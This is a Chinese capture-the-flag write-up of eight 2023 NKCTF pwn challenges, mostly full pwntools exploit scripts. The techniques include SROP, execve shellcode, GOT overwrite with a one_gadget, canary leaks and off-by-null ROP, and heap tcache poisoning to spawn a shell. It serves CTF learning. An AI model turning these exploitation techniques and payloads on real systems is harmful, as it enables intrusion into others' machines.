2023NKCTF PWN

ez_stack

先贴wp

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
#r=process('./ez_stack')
r=remote("node2.yuzhian.com.cn",30782)
syscall_ret=0x00000000004011EE
main_addr=0x00000000004011B9
set_rax_15=0x0000000000401147
bss=0x404080
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x30
frame.rsp = bss
frame.rip = syscall_ret
payload=b'/bin/sh\x00'+b'a'*0x10+p64(set_rax_15)+p64(syscall_ret)+bytes(frame)
r.recvuntil("Welcome to the binary world of NKCTF!")
# gdb.attach(r)
r.sendline(payload)
payload1=b'/bin/sh\x00'+p64(main_addr)
# pause()
r.sendline(payload1)

r.recvuntil("Welcome to the binary world of NKCTF!")
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bss
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload2=b'/bin/sh\x00'*3+p64(set_rax_15)+p64(syscall_ret)+bytes(frame)
r.sendline(payload2)
r.interactive()

是一道srop

 常规思路就是第一次rop往bss上写/bin/sh,然后第二次调用execve。

赛后看了toka的wp,又学了一招,因为题目先调用的write,然后调用read,此时rax是0,rdi也是0,所以直接就返回到0x4011c8,此时相当于执行read(0,nkctf,0x26),这样我们就可以先在nkctf里写/bin/sh,然后再用第二个read调用execve。

from pwn import *
context.arch='amd64'
r=process('./ez_stack')

syscall=0x4011ee
payload1=b'a'*0x18+p64(0x4011c8)
gdb.attach(r)

r.sendafter('Welcome to the binary world of NKCTF!',payload1)
pause()
r.sendline('/bin/sh\x00')
frame=SigreturnFrame()
frame.rax=59
frame.rdi=0x404040
frame.rsi=0
frame.rdx=0
frame.rip=syscall
payload2=b'a'*0x18+p64(0x401146)+p64(syscall)+flat(frame)
r.sendline(payload2)
# gdb,attach(r)
r.interactive()

ez_shellcode

先将GLOBAL_OFFSET_TABLE往后0x1000设置为rwx,其中包含buf2,然后往buf2里写,最后执行。因为执行时v6是随机了,但其实应该是伪随机,我用gdb调了几次发现都是0x53,然后就找到偏移,直接生成shellcode。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

r=process('./pwn')
#r=remote('node2.yuzhian.com.cn',32581)
r.recvuntil("u can make it in 5 min!")
shellcode=asm(shellcraft.sh())
print(len(shellcode))
payload=b'a'*0x54+shellcode
#gdb.attach(r)
r.sendline(payload)
r.interactive()

当然如果这个题随机数不确定的话,也可以在shellcode前边加nop(\x90)有几率滑到shellcode执行。

only_read

前边就是一大堆的base64加密,然后进入next()函数有一个栈溢出。不过这个题只有一个read函数,然后刚开始我用ret2dlresolve,远程一直打不通,最后用__do_global_dtors_aux这个函数将read的got表改成了onegadget(libc->2.31,9.9)

from pwn import *
r=process('./pwn')
#r=remote('node2.yuzhian.com.cn',30427)
elf=ELF('./pwn')

pop6=0x40167a
change_read=0x40117c
read_got=elf.got['read']
offset=0xFFFFFFFFFFFD5B3E
r.send('V2VsY29tZSB0byBOS0NURiE=')
r.send('dGVsbCB5b3UgYSBzZWNyZXQ6')
r.send('SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45')
r.send('Y2FuIHlvdSBmaW5kIG1lPw==')
payload=b"a"*48+p64(read_got+0x3d)+p64(pop6)+p64(offset)+p64(read_got+0x3d)
payload+=p64(0)*4+p64(change_read)+p64(0x040146E)
gdb.attach(r)
r.sendline(payload)
r.interactive()

 在这里他会把ebx+[rbp-0x3d]的值给rbp-0x3d,我们将ebx设置为onegadget-read,rbp设置为read+0x3d,这样执行完就把read的got表改为onegadget,然后执行read即可。

9961code

我是直接利用这22字节调用execve('/bin/sh',0,0),15+7,正好够。

from pwn import *
context.arch='amd64'
context.log_level='debug'
#r=remote('node2.yuzhian.com.cn',39786)
r=process('./pwn')
r.recvuntil("In that case, you can only enter a very short shellcode!\n")

shellcode='''
mov edi,0x996100f
xor esi,esi
xor edx,edx
mov al,0x3b
xor ah,ah
syscall
'''


print(len(asm(shellcode)))
shellcode=asm(shellcode)
shellcode+=b'/bin/sh\x00'
gdb.attach(r)
r.send(shellcode)

r.interactive()

我看toka的wp,它先调用了mprotect把0x9961000改回了rwx,然后又调用了一次读。我当时以为字节不够,也没有考虑。这里贴一下toka的wp

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

# sh = remote('node2.yuzhian.com.cn', 31730)
sh=process('./pwn')
gdb.attach(sh)
sh.send(asm('''
    mov rdi, r15
    xor eax, eax
    cdq
    mov al, 10
    mov dl, 7
    syscall
    xor eax, eax
    mov esi, edi
    mov edi, eax
    mov dl, 0x7f
    syscall
'''))

sh.send(b'\x90' * 0x16 + asm('''
    mov rsp, rsi
    add rsp, 0x1000

    xor rsi, rsi
    mul rsi

    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx

    mov rdi, rsp
    mov al, 59

    syscall
'''))

sh.interactive()

baby_rop

远程环境用的是libc2.31 9.9

 

首先主函数有一个格式化字符串漏洞,可以泄露canary。 

在my_read函数里有一个off by null漏洞,并且由于往v4里读入0x100正好到rbp的位置,所以\x00会覆盖rbp最后一字节,我们通过往栈上写rop链再在前边用一系列ret指令滑到我们的rop执行即可

exp:

from pwn import *
context.log_level='debug'
context.arch='amd64'
r=remote('node2.yuzhian.com.cn',34049)
#r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc
fini_array=0x403e18
main_addr=0x4010f0
pop_rdi=0x401413
ret=0x401414
csu1=0x40140a
csu2=0x4013f0
bss=0x404060
read_plt=elf.plt['read']
puts_plt=elf.plt["puts"]
puts_got=elf.got['puts']
r.recvuntil("What is your name: ")
payload='%41$p'
#print(len(payload))
r.sendline(payload)
r.recvuntil("Hello, ")
canary=int(r.recv(18),16)
print(hex(canary))
r.recvuntil("What are your comments and suggestions for the NKCTF: ")
payload=p64(ret)*0x10+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload=payload.ljust(0xf8,b'\x00')
payload+=p64(canary)

r.send(payload)
leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(leak))
binsh=leak+next(libc.search(b'/bin/sh'))
system=leak+libc.sym['system']
r.recvuntil("What is your name: ")
payload='%41$p'
r.sendline(payload)
payload=p64(ret)*0x18+p64(pop_rdi)+p64(binsh)+p64(system)
payload=payload.ljust(0xf8,b'b')
payload+=p64(canary)
#gdb.attach(r)
r.sendline(payload)
r.interactive()

a_story_of_a_pwner

 

 在heart里有一个栈溢出漏洞,并且前三个函数可以布置rop,在前三个函数执行前先执行warning泄露libc即可。

exp:

from pwn import *
context.log_level='debug'
# r=process('./pwn')
# elf=ELF('./pwn')
r=remote('node2.yuzhian.com.cn',39834)
libc=ELF('/home/ubuntulyp/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')

def acm(content):
    r.sendlineafter("> ",'1')
    r.sendafter("what's your comment?",content)
def ctf(content):
    r.sendlineafter("> ",'2')
    r.sendafter("what's your corment?",content)
def love(content):
    r.sendlineafter("> ",'3')
    r.sendafter("what's your corMenT?",content)
def heart(content):
    r.sendlineafter("> ",'4')
    r.sendafter("now, come and read my heart...",content)
r.sendlineafter("> ",'4')
r.recvuntil("I give it up, you can see this. ")
leak_libc=int(r.recv(14),16)
print("leak_libc----------->",hex(leak_libc))
libc_base=leak_libc-libc.sym['puts']
print("libc_base----------->",hex(libc_base))
pop_rdi=0x401573
bss=0x4050a0
leave_ret=0x401502
binsh=libc_base+next(libc.search(b'/bin/sh'))
system=libc_base+libc.sym['system']
ctf(p64(pop_rdi))
acm(p64(binsh))
love(p64(system))
payload=b'a'*0xa+p64(bss-8)+p64(leave_ret)
# gdb.attach(r)
heart(payload)
r.interactive()

babyheap

在my_read函数里有一个off by null。然后就是在做的时候,我先用本机2.31做,泄露libc也挺顺利,但远程一直无法泄露,recv一个换行符,不知道什么原因,所以就用edit先把fd覆盖了,泄露bk也行。注意2.32版本指针有一个加密操作。

from pwn import *
context.log_level='debug'
# r=process('./pwn')
# elf=ELF('./pwn')
# libc=elf.libc
r=remote('node2.yuzhian.com.cn',35096)
libc=ELF('./libc-2.32.so')
def add(idx,size):
    r.sendlineafter("Your choice: ",'1')
    r.sendlineafter("Enter the index: ",str(idx))
    r.sendlineafter("Enter the Size: ",str(size))
def delete(idx):
    r.sendlineafter("Your choice: ",'2')
    r.sendlineafter("Enter the index: ",str(idx))

def edit(idx,content):
    r.sendlineafter("Your choice: ",'3')
    r.sendlineafter("Enter the index: ",str(idx))
    r.sendlineafter("Enter the content: ",content)
def show(idx):
    r.sendlineafter("Your choice: ",'4')
    r.sendlineafter("Enter the index: ",str(idx))

for i in range(7):#0-6
    add(i,0x100)
add(8,0x100)
add(9,0x18)
add(10,0x18)
add(11,0x18)
add(7,0x100)
add(12,0x18)

for i in range(7):
    delete(i)



delete(8)
delete(7)
add(8,0x20)
edit(8,'aaaaaaaa')
show(8)
r.recvuntil('aaaaaaaa')
heap_base=u64(r.recv(6).ljust(8,b'\x00'))&0xfffffffff000
print("heap_base--------->",hex(heap_base))
key=heap_base>>12
add(0,0xd1)
add(1,0x20)
edit(1,'aaaaaaaa')
show(1)
r.recvuntil('aaaaaaaa')
leak_libc=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=leak_libc-0x110-96-libc.sym['__malloc_hook']-0xa
print("libc_base--->",hex(libc_base))
# edit(8,'aaaaaaaa')
# show(8)
# r.recvuntil('aaaaaaaa')
# heap_base=u64(r.recv(6).ljust(8,b'\x00'))&0xfffffffff000
# print("heap_base--------->",hex(heap_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

add(2,0xd1)
edit(9,b'a'*0x18+p8(0x41))
delete(10)
add(10,0x30)

delete(9)
delete(11)
payload=p64(0)*3+p64(0x21)+p64(free_hook^key)*2
edit(10,payload)
add(11,0x10)
add(13,0x10)
edit(13,p64(system))
edit(11,'/bin/sh\x00')
# gdb.attach(r)
delete(11)
r.interactive()

Bytedance

这个题和hctf2018 heapstrom_zero一样,稍微改一下脚本就行。

 在add函数里有一个off by null漏洞,本题是2.23版本。具体过程看heapstrom_zero的解析吧。

 exp:

from pwn import *
# context.log_level = "debug"
#p=remote('node2.yuzhian.com.cn',31469)
p = process('./pwn02')
libc = ELF('/home/ubuntulyp/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6', checksec=False)
def add(size, con):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('size:')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(con)
def view(idx):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(idx))

def dele(idx):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline(str(idx))

def triger_consolidate(pay=''):
    p.recvuntil('Choice:')
    if pay == '':
        p.sendline('1' * 0x400)  

add(0x38, 'a')  # 0
add(0x28, 'a')  # 1
add(0x28, 'a')  # 2
add(0x18, 'a')  # 3
add(0x18, 'a')  # 4
add(0x38, 'x')  # 5
add(0x28, 'x')  # 6
add(0x38, 'x')  # 7
add(0x38, 'x')  # 8
add(0x38, 'x')  # 9
pay = b'a' * 0x20 + p64(0x200) + p64(0x20)  
add(0x38, pay)  # 10
add(0x38, 'end')  #11


for i in range(1, 11):
    dele(i)

triger_consolidate()


dele(0)

pay = 'a' * 0x38
add(0x38, pay)  # 0

add(0x38, 'a' * 8)  # 1
add(0x38, 'b' * 8)  # 2
add(0x38, 'c' * 8)  # 3
add(0x38, 'x')  # 4
add(0x38, 'x')  # 5
add(0x28, 'x')  # 6
add(0x38, 'x')  # 7
add(0x38, 'x')  # 8


dele(1)
dele(2)
dele(3)

triger_consolidate()

dele(11)

triger_consolidate()

add(0x28, 'a')  # 1
add(0x28, 'a')  # 2
add(0x18, 'a')  # 3
add(0x18, 'a')  # 9
add(0x38, '1' * 0x30)  # 10
add(0x38, '2' * 0x30)  # 11
add(0x28, '3' * 0x30)  # 12
add(0x38, '4' * 0x30)  # 13
add(0x38, '5' * 0x30)  # 14
pay = b'a' * 0x20 + p64(0x200) + p64(0x20)
add(0x38, pay)  # 15

add(0x38, 'end')  # 16



dele(1)
dele(2)
dele(3)
for i in range(9, 16):
    dele(i)

triger_consolidate()



dele(0)
pay = 'a' * 0x38
add(0x38, pay)  # 0




add(0x38, 'a' * 8)  # 1
add(0x38, 'b' * 8)  # 2
add(0x38, 'c' * 8)  # 3

view(4)
p.recvuntil('Content: ')
lbase = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x3c4b20 - 88
success('lbase: ' + hex(lbase))

dele(1)
dele(2)
dele(3)
triger_consolidate()


add(0x18, 'A' * 0x10)  # 1
add(0x28, 'B' * 0x20)  # 2
add(0x38, 'C' * 0x30)  # 3
add(0x18, 'D' * 0x10)  # 9

pay = p64(0) 
add(0x18, pay)  # 6
add(0x28, 'asd')
add(0x38, 'zxc')  # 5,c
add(0x28, 'qqq')  # 6,d

add(0x38, 'a1')  # 14
add(0x28, 'a2')  # 15


dele(5)
dele(14)
dele(0xc)

dele(6)
dele(15)
dele(0xd)

add(0x28, p64(0x41))
add(0x28, 'a')
add(0x28, 'a')
add(0x38, p64(lbase + 0x3c4b20 + 8))
add(0x38, 'a')
add(0x38, 'a')
add(0x38, p64(lbase + 0x3c4b20 + 8 + 0x20) + b'\x00' * 0x10 + p64(0x41))
add(0x38, b'\x00' * 0x20 + p64(lbase + libc.sym['__malloc_hook'] - 0x18))
add(0x18, 'a' * 0x18)
add(0x18, p64(lbase + 0xf03a4) * 2)
# gdb.attach(p)
dele(6)
dele(8)
print(hex(lbase + 0x3c4b20 + 8))
p.interactive()

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值